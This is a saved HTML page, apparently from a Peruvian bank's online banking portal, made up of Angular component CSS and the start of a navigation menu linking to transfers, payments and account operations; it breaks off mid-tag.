.main-navigation[_ngcontent-mbv-c11] {
width: 100%;
position: relative; }
.main-navigation[_ngcontent-mbv-c11] ul[_ngcontent-mbv-c11] {
margin: 0 auto;
padding: 18px; }
.main-navigation[_ngcontent-mbv-c11] ul[_ngcontent-mbv-c11] .item[_ngcontent-mbv-c11] {
display: inline;
padding-right: 43px;
font-size: 13px;
text-transform: uppercase; }
.main-navigation[_ngcontent-mbv-c11] ul[_ngcontent-mbv-c11] .item[_ngcontent-mbv-c11]:hover ul[_ngcontent-mbv-c11] {
display: none; }
.dropdown-toggle[_ngcontent-mbv-c11] {
font-weight: bold; }
.dropdown-placeholder[_ngcontent-mbv-c11] {
color: #a8a8a8;
font-family: Flexo;
font-size: 16px;
font-stretch: normal;
font-style: normal;
font-weight: normal;
letter-spacing: normal;
line-height: 2; }
.text-primary[_ngcontent-mbv-c11] {
color: black; }</style>
<style>.mt-32[_ngcontent-mbv-c16] {
margin-top: 32px; }
.product-title[_ngcontent-mbv-c16] {
font-size: 18px;
font-weight: bold;
line-height: 1.33;
color: #012d74; }
.info-link[_ngcontent-mbv-c16] {
font-size: 14px;
cursor: pointer;
font-weight: bold;
line-height: 1.71;
color: #ff7800; }
.personal-data[_ngcontent-mbv-c16] .label[_ngcontent-mbv-c16] {
font-size: 14px;
font-weight: bold;
line-height: 1.14;
letter-spacing: 0.5px;
color: #012d74; }
.personal-data[_ngcontent-mbv-c16] .text[_ngcontent-mbv-c16] {
font-size: 16px;
line-height: 2;
color: #282828; }
.personal-data[_ngcontent-mbv-c16] .text.data-name[_ngcontent-mbv-c16] {
text-transform: capitalize; }
.text-informative[_ngcontent-mbv-c16] {
display: none;
font-size: 14px;
line-height: 1.71;
text-align: justify;
color: #282828; }
.current-email[_ngcontent-mbv-c16] {
margin-top: 12px;
font-size: 14px;
line-height: 1.71;
color: #282828; }
.container-btn[_ngcontent-mbv-c16] {
text-align: center; }
@media (min-width: 1024px) {
.product-title[_ngcontent-mbv-c16] {
font-size: 24px; }
.btn-end[_ngcontent-mbv-c16] {
width: 95%; } }
@media (min-width: 1024px) {
section.constancy-email[_ngcontent-mbv-c16] .constancy_title[_ngcontent-mbv-c16] {
text-align: center; }
section.constancy-email[_ngcontent-mbv-c16] .constancy_subtitle[_ngcontent-mbv-c16] {
text-align: center; } }
@media (min-width: 768px) {
.info-link[_ngcontent-mbv-c16] {
display: none; }
.text-informative[_ngcontent-mbv-c16] {
display: block; }
.current-email[_ngcontent-mbv-c16] {
margin-top: 0; } }</style>
<style>.text-box-wrapper[_ngcontent-mbv-c17] {
display: flex;
flex-direction: column;
margin-top: 0; }
.text-box-wrapper[_ngcontent-mbv-c17] input[_ngcontent-mbv-c17]::-webkit-input-placeholder {
color: #a8a8a8;
font-family: Flexo;
font-size: 16px;
font-stretch: normal;
font-style: normal;
font-weight: normal;
letter-spacing: normal;
line-height: 2; }
.text-box-wrapper[_ngcontent-mbv-c17] input[type=number][_ngcontent-mbv-c17]::-webkit-inner-spin-button, .text-box-wrapper[_ngcontent-mbv-c17] input[type=number][_ngcontent-mbv-c17]::-webkit-inner-spin-button {
-webkit-appearance: none;
margin: 0; }
.text-box-wrapper[_ngcontent-mbv-c17] input[type=number][_ngcontent-mbv-c17] {
-moz-appearance: textfield; }
.text-box-wrapper[_ngcontent-mbv-c17] input[_ngcontent-mbv-c17]::-moz-placeholder {
color: #a8a8a8;
font-family: Flexo;
font-size: 16px;
font-stretch: normal;
font-style: normal;
font-weight: normal;
letter-spacing: normal;
line-height: 2; }
.text-box-wrapper[_ngcontent-mbv-c17] input[_ngcontent-mbv-c17]:-ms-input-placeholder {
color: #a8a8a8;
font-family: Flexo;
font-size: 16px;
font-stretch: normal;
font-style: normal;
font-weight: normal;
letter-spacing: normal;
line-height: 2; }
.text-box-wrapper[_ngcontent-mbv-c17] .form-control[_ngcontent-mbv-c17]:disabled {
-webkit-text-fill-color: #c8c8c8;
opacity: 1;
color: #c8c8c8 !important;
border-color: #c8c8c8 !important; }
.text-box-wrapper[_ngcontent-mbv-c17] .form-control[_ngcontent-mbv-c17]:disabled ~ label[_ngcontent-mbv-c17] {
color: #c8c8c8 !important; }
.form-group.text-box-wrapper[_ngcontent-mbv-c17] .form-control[_ngcontent-mbv-c17] ~ label[_ngcontent-mbv-c17] {
position: static;
order: -1;
transform: none;
-webkit-transform: none; }
.form-group[_ngcontent-mbv-c17] .form-control[_ngcontent-mbv-c17] ~ label[_ngcontent-mbv-c17] {
pointer-events: inherit !important;
font-size: 14px; }
.form-group[_ngcontent-mbv-c17] .form-control[_ngcontent-mbv-c17] ~ label.strong[_ngcontent-mbv-c17] {
font-weight: normal; }
.form-group[_ngcontent-mbv-c17] .form-control.non-editable[_ngcontent-mbv-c17] {
border-bottom: none; }
.form-group[_ngcontent-mbv-c17] .form-control.strong[_ngcontent-mbv-c17] {
font-weight: bold;
font-size: 18px; }
.form-group[_ngcontent-mbv-c17] .form-control.is-invalid[_ngcontent-mbv-c17] {
color: #282828; }
.form-group[_ngcontent-mbv-c17] .form-control.is-invalid[_ngcontent-mbv-c17] ~ .input-prefix[_ngcontent-mbv-c17] {
color: #282828; }
.form-group[_ngcontent-mbv-c17] .form-control.space-prefix[_ngcontent-mbv-c17] {
padding-left: 2rem; }
.form-group[_ngcontent-mbv-c17] .input-prefix[_ngcontent-mbv-c17] {
position: absolute;
left: 0;
bottom: 5px;
font-size: 15px;
color: #012d74; }
.form-group[_ngcontent-mbv-c17] .input-prefix.prefix[_ngcontent-mbv-c17] {
bottom: 28px; }</style>
<style>.container-keypad[_ngcontent-mbv-c18] p[_ngcontent-mbv-c18] {
transform: rotate(-360deg);
font-family: Flexo;
font-size: 16px;
font-weight: bold;
font-style: normal;
font-stretch: normal;
line-height: 1.5;
letter-spacing: normal;
color: #012d74;
height: auto; }
.center[_ngcontent-mbv-c18] {
text-align: center; }
.left[_ngcontent-mbv-c18] {
text-align: left; }
.center[_ngcontent-mbv-c18] {
text-align: center; }
.left[_ngcontent-mbv-c18] {
text-align: left; }
.right[_ngcontent-mbv-c18] {
text-align: right; }
div[keypadMark][_ngcontent-mbv-c18] {
margin: 0 !important; }
@media (max-width: 768px) {
.seed-desktop[_ngcontent-mbv-c18] {
display: none !important; } }
@media (min-width: 769px) {
.seed-mobile[_ngcontent-mbv-c18] {
display: none !important; } }</style>
<style>[_nghost-mbv-c19] {
width: 100%; }
.button-row[_ngcontent-mbv-c19] {
display: flex;
justify-content: center;
width: 100%;
padding-right: 15px;
padding-left: 15px; }
.button-row[_ngcontent-mbv-c19] .button-group[_ngcontent-mbv-c19] {
align-items: center;
justify-content: center;
margin-top: 32px; }
.button-row[_ngcontent-mbv-c19] .button-group[_ngcontent-mbv-c19] .btn-next[_ngcontent-mbv-c19] {
min-width: 136px;
padding-top: 0; }
.button-row[_ngcontent-mbv-c19] .button-group[_ngcontent-mbv-c19] .btn-next[_ngcontent-mbv-c19] i.icon[_ngcontent-mbv-c19] {
margin-left: 8px;
margin-top: 3px; }
.button-row[_ngcontent-mbv-c19] .button-group[_ngcontent-mbv-c19] .btn-back[_ngcontent-mbv-c19] {
min-width: 136px;
margin-right: 32px;
padding-top: 0; }
.button-row[_ngcontent-mbv-c19] .button-group[_ngcontent-mbv-c19] .btn-back[_ngcontent-mbv-c19] i.icon[_ngcontent-mbv-c19] {
margin-right: 8px;
margin-top: 3px; }
@media screen and (max-width: 576px) {
.button-row[_ngcontent-mbv-c19] {
width: 100%; } }
@media screen and (max-width: 768px) {
.button-group[_ngcontent-mbv-c19] {
margin-top: 24px;
display: flex;
flex-direction: column-reverse;
width: 480px;
margin-left: 10px; }
.button-group[_ngcontent-mbv-c19] .btn-back[_ngcontent-mbv-c19] {
margin-top: 16px;
width: 100%;
margin-right: 0px !important; }
.button-group[_ngcontent-mbv-c19] .btn-next[_ngcontent-mbv-c19] {
width: 100%; } }</style>
<style>[_nghost-mbv-c20] nhbk-modal.nhbk-modal-challenge div.modal-content {
width: 100%;
height: 500px; }
[_nghost-mbv-c20] nhbk-modal.nhbk-modal-challenge div.modal-content .modal-body {
padding: 0 30px; }
[_nghost-mbv-c20] nhbk-modal.nhbk-modal-challenge div.modal-content .body-content {
max-height: 380px !important; }
[_nghost-mbv-c20] nhbk-modal.nhbk-modal-challenge div.modal-content .body-content .information-text {
margin-top: 16px;
text-align: justify;
margin-bottom: 16px; }
[_nghost-mbv-c20] nhbk-modal.nhbk-modal-challenge div.modal-content .body-content .content-bcp-alert {
margin-top: 10px; }
[_nghost-mbv-c20] nhbk-modal.nhbk-modal-challenge div.modal-content .body-content .content-bcp-alert p {
font-size: 13px;
text-align: justify; }
[_nghost-mbv-c20] nhbk-modal.nhbk-modal-challenge div.modal-content .body-content .challenge-textbox {
margin-top: 16px;
margin-left: 0px;
margin-right: 0px; }
[_nghost-mbv-c20] nhbk-modal.nhbk-modal-challenge div.modal-content .body-content .challenge-textbox label {
text-align: left; }
[_nghost-mbv-c20] nhbk-modal.nhbk-modal-challenge div.modal-content .button-group {
padding: 0 32px; }
[_nghost-mbv-c20] nhbk-modal.nhbk-modal-challenge div.modal-content .btn-cancel {
width: 100%; }
[_nghost-mbv-c20] nhbk-modal.nhbk-modal-challenge div.modal-content .btn-valid {
width: 100%;
margin-bottom: 10px; }
@media (min-width: 375px) {
[_nghost-mbv-c20] nhbk-modal.nhbk-modal-challenge div.modal-content .modal-body {
padding: 0 32px; }
[_nghost-mbv-c20] nhbk-modal.nhbk-modal-challenge div.modal-content .body-content .information-text {
margin-bottom: 24px; }
[_nghost-mbv-c20] nhbk-modal.nhbk-modal-challenge div.modal-content .body-content .content-bcp-alert p {
font-size: 14px; } }
@media (min-width: 768px) {
[_nghost-mbv-c20] nhbk-modal.nhbk-modal-challenge div.modal-content {
width: 448px;
height: 390px; }
[_nghost-mbv-c20] nhbk-modal.nhbk-modal-challenge div.modal-content .body-title .mt-15 {
margin-top: 15px; }
[_nghost-mbv-c20] nhbk-modal.nhbk-modal-challenge div.modal-content .body-content .information-text {
margin-top: 0; }
[_nghost-mbv-c20] nhbk-modal.nhbk-modal-challenge div.modal-content .body-content .content-bcp-alert {
margin-top: 15px; }
[_nghost-mbv-c20] nhbk-modal.nhbk-modal-challenge div.modal-content .button-group {
margin-top: 8px; }
[_nghost-mbv-c20] nhbk-modal.nhbk-modal-challenge div.modal-content .btn-cancel {
position: absolute;
width: 136px;
margin-left: -150px; }
[_nghost-mbv-c20] nhbk-modal.nhbk-modal-challenge div.modal-content .btn-valid {
position: absolute;
width: 136px;
margin-left: 10px; } }</style>
<style>[_nghost-mbv-c5]{ display: block; width: 100%; }</style>
<style>div.keypad-seed-container[_ngcontent-mbv-c23] {
margin-top: 10px; }
.seed-enabled[_ngcontent-mbv-c23] {
border-radius: 6px;
position: inherit; }
.seed-enabled[_ngcontent-mbv-c23]:hover {
cursor: pointer; }
.seed-enabled[_ngcontent-mbv-c23]:active {
opacity: .1; }
.separator[_ngcontent-mbv-c23] {
margin-bottom: 5px; }
div.right[_ngcontent-mbv-c23] {
text-align: right; }
div.center[_ngcontent-mbv-c23] {
text-align: center; }
div.left[_ngcontent-mbv-c23] {
text-align: left; }</style>
<style>.seed-disabled[_ngcontent-mbv-c24] {
opacity: .4; }
.seed-enabled[_ngcontent-mbv-c24] {
border-radius: 5px;
width: 46px;
height: 46px;
margin: 10px; }
.seed-enabled[_ngcontent-mbv-c24]:hover {
cursor: pointer; }
.seed-enabled[_ngcontent-mbv-c24]:active {
opacity: .1; }
.keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] {
text-align: center; }
.keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit[_ngcontent-mbv-c24] {
display: inline-block;
margin-bottom: 1px;
margin-right: 3px;
display: flex;
justify-content: center;
align-items: center;
cursor: pointer; }
@media (max-width: 768px) {
.keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit[_ngcontent-mbv-c24] {
display: inherit;
float: left !important;
margin-bottom: 0 !important;
margin-right: 0 !important;
width: 25%;
height: 70px;
margin-right: -3px;
vertical-align: top;
outline: thin solid rgba(215, 215, 215, 0.9);
background-color: #f4f4f4; } }
@media (max-width: 768px) {
.keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit[_ngcontent-mbv-c24] img[_ngcontent-mbv-c24] {
width: 60px;
height: 60px; } }
.keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit[_ngcontent-mbv-c24] img[_ngcontent-mbv-c24]:hover {
cursor: pointer; }
@media (max-width: 768px) {
.keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit[_ngcontent-mbv-c24] img.action[_ngcontent-mbv-c24] {
margin-left: 0 !important; } }
.keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit-d[_ngcontent-mbv-c24] {
margin-bottom: 1px;
margin-right: 3px;
display: flex;
justify-content: center;
align-items: center;
cursor: pointer; }
@media (max-width: 768px) {
.keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit-d[_ngcontent-mbv-c24] {
display: inherit;
float: left !important;
margin-bottom: 0 !important;
margin-right: 0 !important;
width: 25%;
height: 70px;
margin-right: -3px;
vertical-align: top;
outline: thin solid rgba(215, 215, 215, 0.9); } }
@media (max-width: 768px) {
.keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit-d[_ngcontent-mbv-c24] img[_ngcontent-mbv-c24] {
width: 60px;
height: 60px; } }
.keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit-d[_ngcontent-mbv-c24] img[_ngcontent-mbv-c24]:hover {
cursor: pointer; }
@media (max-width: 768px) {
.keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit-d[_ngcontent-mbv-c24] img.action[_ngcontent-mbv-c24] {
margin-left: 0 !important; } }
@media (max-width: 768px) {
.keypad-container[_ngcontent-mbv-c24] {
width: 100%;
background-color: #f4f4f4; } }
.keypad-container[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24] {
width: 276px;
box-sizing: border-box; }
.keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] {
width: 276px;
text-align: center; }
.keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit[_ngcontent-mbv-c24] {
display: inline-block;
margin-bottom: 1px;
margin-right: 3px; }
.keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit-d[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit-d[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit-d[_ngcontent-mbv-c24] {
display: inline-block;
margin-bottom: 1px;
margin-right: 3px; }
@media (max-width: 768px) {
.keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit[_ngcontent-mbv-c24] {
display: inherit;
float: left !important;
margin-bottom: 0 !important;
margin-right: 0 !important;
width: 25%;
height: 70px;
vertical-align: top;
outline: thin solid rgba(215, 215, 215, 0.9);
background-color: #f4f4f4; } }
@media (max-width: 768px) {
.keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit-d[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit-d[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit-d[_ngcontent-mbv-c24] {
display: inherit;
float: left !important;
margin-bottom: 0 !important;
margin-right: 0 !important;
width: 25%;
height: 70px;
vertical-align: top;
outline: thin solid rgba(215, 215, 215, 0.9);
background-color: #f4f4f4; } }
.keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit[_ngcontent-mbv-c24] img[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit[_ngcontent-mbv-c24] img[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit[_ngcontent-mbv-c24] img[_ngcontent-mbv-c24] {
border-radius: 5px;
width: 38px;
height: 38px; }
.keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit-d[_ngcontent-mbv-c24] img[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit-d[_ngcontent-mbv-c24] img[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit-d[_ngcontent-mbv-c24] img[_ngcontent-mbv-c24] {
border-radius: 5px;
width: 38px;
height: 38px; }
@media (max-width: 768px) {
.keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit[_ngcontent-mbv-c24] img[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit[_ngcontent-mbv-c24] img[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit[_ngcontent-mbv-c24] img[_ngcontent-mbv-c24] {
width: 60px;
height: 60px; } }
.keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit[_ngcontent-mbv-c24] img[_ngcontent-mbv-c24]:hover, .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit[_ngcontent-mbv-c24] img[_ngcontent-mbv-c24]:hover, .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit[_ngcontent-mbv-c24] img[_ngcontent-mbv-c24]:hover {
cursor: pointer; }
@media (max-width: 768px) {
.keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit-d[_ngcontent-mbv-c24] img[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit-d[_ngcontent-mbv-c24] img[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit-d[_ngcontent-mbv-c24] img[_ngcontent-mbv-c24] {
width: 60px;
height: 60px; } }
.keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit-d[_ngcontent-mbv-c24] img[_ngcontent-mbv-c24]:hover, .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit-d[_ngcontent-mbv-c24] img[_ngcontent-mbv-c24]:hover, .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit-d[_ngcontent-mbv-c24] img[_ngcontent-mbv-c24]:hover {
cursor: pointer; }
@media (max-width: 768px) {
.keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit[_ngcontent-mbv-c24] img.action[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit[_ngcontent-mbv-c24] img.action[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit[_ngcontent-mbv-c24] img.action[_ngcontent-mbv-c24] {
margin-left: 0 !important; } }
@media (max-width: 768px) {
.keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit-d[_ngcontent-mbv-c24] img.action[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit-d[_ngcontent-mbv-c24] img.action[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] .keypad-digit-d[_ngcontent-mbv-c24] img.action[_ngcontent-mbv-c24] {
margin-left: 0 !important; } }
@media (max-width: 768px) {
.keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24] .keypad-numbers[_ngcontent-mbv-c24] {
width: unset;
margin-left: 20px !important;
margin-right: 20px !important; } }
@media (max-width: 768px) {
.keypad-container[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24] {
width: 479px;
height: 216px;
margin: auto; } }
@media (max-width: 767px) {
.keypad-container[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24], .keypad-container[_ngcontent-mbv-c24] {
width: 100%;
margin-left: 0px; } }
.point-key[_ngcontent-mbv-c24] {
width: 1px;
height: 1px;
background-color: #012d74;
position: absolute;
pointer-events: none; }
.text-3[_ngcontent-mbv-c24] {
font-family: Flexo;
font-size: 12px;
font-weight: bold;
font-style: normal;
font-stretch: normal;
line-height: 1.33;
letter-spacing: normal;
color: #ff7800;
text-decoration: underline;
float: right;
cursor: pointer;
margin-right: 10px; }
.text-4[_ngcontent-mbv-c24] {
font-family: Flexo;
font-size: 12px;
font-weight: bold;
font-style: normal;
font-stretch: normal;
line-height: 1.33;
letter-spacing: normal;
color: #ff7800;
text-decoration: underline;
margin-bottom: 40px;
cursor: pointer;
margin-left: 10px; }</style>
<style>.container-mark[_ngcontent-mbv-c21] {
height: 25px; }
.center[_ngcontent-mbv-c21] {
text-align: center; }
.left[_ngcontent-mbv-c21] {
text-align: left; }
.right[_ngcontent-mbv-c21] {
text-align: right; }
.mark--inactive[_ngcontent-mbv-c21] {
background-color: #F1F1F1;
display: inline-block;
border-radius: 50px;
height: 10px;
width: 10px;
margin-right: 17px;
transition: all 0.3s ease-in-out;
border: 1px solid #9db3c5; }
.mark--inactive[_ngcontent-mbv-c21]:last-child {
margin: 0; }
.mark--active[_ngcontent-mbv-c21] {
background-color: #002d74;
display: inline-block;
border-radius: 50px;
height: 10px;
width: 10px;
margin-right: 17px;
transition: all 0.3s ease-in-out;
border: 1px solid #9db3c5; }
.mark--active[_ngcontent-mbv-c21]:last-child {
margin: 0; }
.center[_ngcontent-mbv-c21] {
text-align: center; }
.left[_ngcontent-mbv-c21] {
text-align: left; }
.right[_ngcontent-mbv-c21] {
text-align: right; }</style>
</head>
<body>
<nhbk-root _nghost-mbv-c0="" ng-version="7.2.16"><nhbk-loading _ngcontent-mbv-c0="" _nghost-mbv-c1=""><!----></nhbk-loading><router-outlet _ngcontent-mbv-c0=""></router-outlet><nhbk-home _nghost-mbv-c2="" class="ng-star-inserted"><nhbk2-layout _ngcontent-mbv-c2="" id="wrapper"><div _ngcontent-mbv-c2=""><nhbk-home-menu _ngcontent-mbv-c2="" _nghost-mbv-c4=""><!----><!----><div _ngcontent-mbv-c4="" class="sidebar menu-responsive-d-none"><div _ngcontent-mbv-c4="" class="close-menu"><i _ngcontent-mbv-c4="" class="icon bcp-x-f pointer"></i></div><ul _ngcontent-mbv-c4="" class="navbar-nav"><!----><li _ngcontent-mbv-c4="" class="nav-item ng-star-inserted"><a _ngcontent-mbv-c4="" class="nav-link" data-toggle="collapse"> Inicio <!----></a><!----></li><li _ngcontent-mbv-c4="" class="nav-item ng-star-inserted"><a _ngcontent-mbv-c4="" class="nav-link" data-toggle="collapse"> TRANSFERENCIAS <!----><span _ngcontent-mbv-c4="" class="nav-link-arrow ng-star-inserted"></span></a><!----><div _ngcontent-mbv-c4="" class="sub-menu collapse ng-star-inserted"><!----><a _ngcontent-mbv-c4="" class="menu-tag ng-star-inserted" href="#/portal/transferencias/transfers-own">Entre mis propias cuentas del BCP</a></div><div _ngcontent-mbv-c4="" class="sub-menu collapse ng-star-inserted"><!----><a _ngcontent-mbv-c4="" class="menu-tag ng-star-inserted" href="#/portal/transferencias/transfers-third">A otras cuentas del BCP</a></div><div _ngcontent-mbv-c4="" class="sub-menu collapse ng-star-inserted"><!----><a _ngcontent-mbv-c4="" class="menu-tag ng-star-inserted" href="#/portal/transferencias/others-banks">A cuentas de otros bancos en Perú</a></div><div _ngcontent-mbv-c4="" class="sub-menu collapse ng-star-inserted"><!----><a _ngcontent-mbv-c4="" class="menu-tag ng-star-inserted" href="#/portal/transferencias/transfers-abroad">Al exterior</a></div><div _ngcontent-mbv-c4="" class="sub-menu collapse ng-star-inserted"><!----><a _ngcontent-mbv-c4="" class="menu-tag ng-star-inserted" href="#/portal/giro-nacional">Giros nacionales</a></div><div _ngcontent-mbv-c4="" class="sub-menu collapse ng-star-inserted"><!----><a _ngcontent-mbv-c4="" class="menu-tag ng-star-inserted" href="#/portal/transferencias-programadas">Transferencias programadas</a></div></li><li _ngcontent-mbv-c4="" class="nav-item ng-star-inserted"><a _ngcontent-mbv-c4="" class="nav-link" data-toggle="collapse"> PAGOS <!----><span _ngcontent-mbv-c4="" class="nav-link-arrow ng-star-inserted"></span></a><!----><div _ngcontent-mbv-c4="" class="sub-menu collapse ng-star-inserted"><!----><a _ngcontent-mbv-c4="" class="menu-tag ng-star-inserted" href="#/portal/pago-de-servicios/selecciona-tu-tipo-de-pago">Pagar un servicio</a></div><div _ngcontent-mbv-c4="" class="sub-menu collapse ng-star-inserted"><!----><a _ngcontent-mbv-c4="" class="menu-tag ng-star-inserted" href="#/portal/pago-de-tarjetas/selecciona-tu-tipo-de-pago">Pagar tarjetas de crédito</a></div><div _ngcontent-mbv-c4="" class="sub-menu collapse ng-star-inserted"><!----><a _ngcontent-mbv-c4="" class="menu-tag ng-star-inserted" href="#/portal/pago-letras-y-facturas">Pagar letras y facturas</a></div><div _ngcontent-mbv-c4="" class="sub-menu collapse ng-star-inserted"><!----><a _ngcontent-mbv-c4="" class="menu-tag ng-star-inserted" href="#/portal/mis-creditos">Pagar créditos</a></div></li><li _ngcontent-mbv-c4="" class="nav-item ng-star-inserted"><a _ngcontent-mbv-c4="" class="nav-link" data-toggle="collapse"> MAS OPERACIONES <!----><span _ngcontent-mbv-c4="" class="nav-link-arrow ng-star-inserted"></span></a><!----><div _ngcontent-mbv-c4="" class="sub-menu collapse ng-star-inserted"><!----><a _ngcontent-mbv-c4="" class="menu-tag ng-star-inserted" href="#/portal/adelanto-de-sueldo">Adelanto de sueldo</a></div><div _ngcontent-mbv-c4="" class="sub-menu collapse ng-star-inserted"><!----><a _ngcontent-mbv-c4="" class="menu-tag ng-star-inserted" href="#/portal/disposicion-de-efectivo">Disposición de efectivo</a></div><div _ngcontent-mbv-c4="" class="sub-menu collapse ng-star-inserted"><!----><a _ngcontent-mbv-c4="" class="menu-tag ng-star-inserted" href="#/portal/estado-de-cuentas">Estado de cuenta</a></div></li></ul></div><nav _ngcontent-mbv-c4="" class="navbar navbar-expand-md custom-navbar"><div _ngcontent-mbv-c4="" class="container custom-container"><div _ngcontent-mbv-c4="" class="d-flex justify-content-around align-items-center"><i _ngcontent-mbv-c4="" class="icon bcp-menu-f burger-menu-responsive"></i><a _ngcontent-mbv-c4="" class="navbar-brand"><img _ngcontent-mbv-c4="" alt="BCP" class="logo-bcp-portal" height="23" src="https://stbcpzonasegura.viabcp.com/assets/img/logo.svg" width="90"></a></div><div _ngcontent-mbv-c4="" class="collapse navbar-collapse custom-navbar-collapse"><ul _ngcontent-mbv-c4="" class="navbar-nav"><!----><li _ngcontent-mbv-c4="" class="nav-item dropdown ng-star-inserted"><a _ngcontent-mbv-c4="" aria-expanded="false" aria-haspopup="true" data-toggle="dropdown" role="button" class="nav-link" href="/#/portal/mis-productos"> Inicio </a><!----></li><li _ngcontent-mbv-c4="" class="nav-item dropdown ng-star-inserted"><a _ngcontent-mbv-c4="" aria-expanded="false" aria-haspopup="true" data-toggle="dropdown" role="button" class="nav-link dropdown-toggle" href="#"> TRANSFERENCIAS </a><!----><div _ngcontent-mbv-c4="" class="dropdown-menu custom-dropdown-menu ng-star-inserted"><!----><div _ngcontent-mbv-c4="" class="ng-star-inserted"><!----><a _ngcontent-mbv-c4="" class="dropdown-item menu-tag ng-star-inserted" href="#/portal/transferencias/transfers-own"> Entre mis propias cuentas del BCP </a></div><div _ngcontent-mbv-c4="" class="ng-star-inserted"><!----><a _ngcontent-mbv-c4="" class="dropdown-item menu-tag ng-star-inserted" href="#/portal/transferencias/transfers-third"> A otras cuentas del BCP </a></div><div _ngcontent-mbv-c4="" 